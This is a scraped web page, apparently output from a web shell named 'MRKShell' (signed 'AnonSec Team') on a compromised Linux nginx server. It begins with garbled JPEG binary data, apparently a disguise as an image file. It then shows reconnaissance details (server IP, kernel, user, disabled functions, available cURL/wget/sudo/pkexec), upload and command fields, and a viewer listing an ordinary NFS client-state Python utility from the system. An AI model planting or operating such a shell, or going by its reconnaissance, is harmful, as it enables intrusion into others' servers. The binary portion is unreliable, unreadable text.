JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 104.21.73.244  /  Your IP : 172.71.28.168
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/root/usr/sbin/nfsdclnts
#!/usr/libexec/platform-python
# -*- python-mode -*-
'''
    Copyright (C) 2020
    Authors:    Achilles Gaikwad <agaikwad@redhat.com>
                Kenneth  D'souza <kdsouza@redhat.com>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.
'''

import multiprocessing as mp
import os
import signal
import sys

try:
    import argparse
except ImportError:
    print('%s:  Failed to import argparse - make sure argparse is installed!'
        % sys.argv[0])
    sys.exit(1)
try:
    import yaml
except ImportError:
    print('%s:  Failed to import yaml - make sure python3-pyyaml is installed!'
        % sys.argv[0])
    sys.exit(1)

BBOLD = '\033[1;30;47m' #Bold black text with white background.
ENDC = '\033[m' #Rest to defaults

def init_worker():
    signal.signal(signal.SIGINT, signal.SIG_IGN)

# this function converts the info file to a dictionary format, sorta. 
def file_to_dict(path):
    client_info = {}
    try:
        with open(path) as f:
            for line in f:
                try:
                    (key, val) = line.split(':', 1)
                    client_info[key] = val.strip()
                    # FIXME: There has to be a better way of converting the info file to a dictionary.
                except ValueError as reason:
                    if verbose:
                        print('Exception occured, %s' % reason)

        if len(client_info) == 0 and verbose:
            print("Provided %s file is not valid" %path)
        return client_info

    except OSError as reason:
        if verbose:
            print('%s' % reason)

# this function gets the paths from /proc/fs/nfsd/clients/
# returns a list of paths for each client which has nfs-share mounted.
def getpaths():
    path = []
    try:
        dirs = os.listdir('/proc/fs/nfsd/clients/')
    except OSError as reason:
        exit('%s' % reason)
    if len(dirs) !=0:
	    for i in dirs:
                path.append('/proc/fs/nfsd/clients/' + i + '/states')
	    return (path)
    else:
        exit('Nothing to process')

# A single function to rule them all, in this function we gather all the data
# from already populated data_list and client_info.
def printer(data_list, argument):
    client_info_path = data_list.pop()
    client_info = file_to_dict(client_info_path)
    for i in data_list:
        for key in i:
            inode = i[key]['superblock'].split(':')[-1]
            # The ip address is quoted, so we dequote it.
            try:
                client_ip = client_info['address'][1:-1]
            except:
                client_ip = "N/A"
            try:
                # if the nfs-server reboots while the nfs-client holds the files open,
                # the nfs-server would print the filename as '/'. For such instaces we
                # print the output as disconnected dentry instead of '/'.
                if(i[key]['filename']=='/'):
                    fname = 'disconnected dentry'
                else:
                    fname = i[key]['filename'].split('/')[-1]
            except KeyError:
                # for older kernels which do not have the fname patch in kernel, they
                # won't be able to see the fname field. Therefore post it as N/A.
                fname = "N/A"
            otype = i[key]['type']
            try:
                access = i[key]['access']
            except:
                access = ''
            try:
                deny = i[key]['deny']
            except:
                deny = ''
            try:
                hostname = client_info['name'].split()[-1].split('"')[0]
                hostname =  hostname.split('.')[0]
                # if the hostname is too long, it messes up with the output being in columns,
                # therefore we truncate the hostname followed by two '..' as suffix.
                if len(hostname) > 20:
                    hostname = hostname[0:20] + '..'
            except:
                hostname = "N/A"
            try:
                clientid = client_info['clientid']
            except:
                clientid = "N/A"
            try:
                minorversion = "4." + client_info['minor version']
            except:
                minorversion = "N/A"

            otype = i[key]['type']
            # since some fields do not have deny column, we drop those if -t is either
            # layout or lock.
            drop = ['layout', 'lock']

            # Printing the output this way instead of a single string which is concatenated
            # this makes it better to quickly add more columns in future.
            if(otype == argument.type or  argument.type == 'all'):
                print('%-13s' %inode, end='| ')
                print('%-7s' %otype, end='| ')
                if (argument.type not in drop):
                    print('%-7s' %access, end='| ')
                if (argument.type not in drop and argument.type !='deleg'):
                    print('%-5s' %deny, end='| ')
                if (argument.hostname == True):
                    print('%-22s' %hostname, end='| ')
                else:
                   print('%-22s' %client_ip, end='| ')
                if (argument.clientinfo == True) :
                    print('%-20s' %clientid, end='| ')
                    print('%-5s' %minorversion, end='| ')
                print(fname)

def opener(path):
    try:
        with open(path, 'r') as nfsdata:
            try:
                data = yaml.load(nfsdata, Loader = yaml.BaseLoader)
                if data is not None:
                    clientinfo = path.rsplit('/', 1)[0] + '/info'
                    data.append(clientinfo)
                return data
            except:
                if verbose:
                    print("Exception occurred, Please make sure %s is a YAML file" %path)

    except OSError as reason:
        if verbose:
            print('%s' % reason)

def print_cols(argument):
    title_inode = 'Inode number'
    title_otype = 'Type'
    title_access = 'Access'
    title_deny = 'Deny'
    title_fname = 'Filename'
    title_clientID = 'Client ID'
    title_hostname = 'Hostname'
    title_ip = 'ip address'
    title_nfsvers = 'vers'

    drop = ['lock', 'layout']
    print(BBOLD, end='')
    print('%-13s' %title_inode, end='| ')
    print('%-7s' %title_otype, end='| ')
    if (argument.type not in drop):
        print('%-7s' %title_access, end='| ')
    if (argument.type not in drop and argument.type !='deleg'):
        print('%-5s' %title_deny, end='| ')
    if (argument.hostname == True):
        print('%-22s' %title_hostname, end='| ')
    else:
        print('%-22s' %title_ip, end='| ')
    if (argument.clientinfo == True):
        print('%-20s' %title_clientID, end='| ')
        print('%-5s' %title_nfsvers, end='| ')
    print(title_fname, end='')
    print(ENDC)

def nfsd4_show():

    parser = argparse.ArgumentParser(description = 'Parse the nfsd states and clientinfo files.')
    parser.add_argument('-t', '--type', metavar = 'type', type = str, choices = ['open',
        'deleg', 'lock', 'layout', 'all'],
        default = 'all',
        help = 'Input the type that you want to be printed: open, lock, deleg, layout, all')
    parser.add_argument('--clientinfo', action = 'store_true',
        help = 'output clients information, --hostname is implied.')
    parser.add_argument('--hostname', action = 'store_true',
        help = 'print hostname of client instead of its ip address. Longer hostnames are truncated.')
    parser.add_argument('-v', '--verbose', action = 'store_true',
        help = 'Verbose operation, show debug messages.')
    parser.add_argument('-f', '--file', nargs='+', type = str, metavar='',
        help = 'pass client states file, provided that info file resides in the same directory.')
    parser.add_argument('-q', '--quiet', action = 'store_true',
        help = 'don\'t print the header information')

    args = parser.parse_args()

    global verbose
    verbose = False
    if args.verbose:
        verbose = True

    if args.file:
        paths = args.file
    else:
        paths = getpaths()

    p = mp.Pool(mp.cpu_count(), init_worker)
    try:
        result = p.map(opener, paths)
        ### Drop None entries from list
        final_result = list(filter(None, result))
        p.close()
        p.join()

        if len(final_result) !=0 and not args.quiet:
            print_cols(args)

        for item in final_result:
            printer(item, args)

    except KeyboardInterrupt:
        print('Caught KeyboardInterrupt, terminating workers')
        p.terminate()
        p.join()

if __name__ == "__main__":
    nfsd4_show()

Anon7 - 2022
AnonSec Team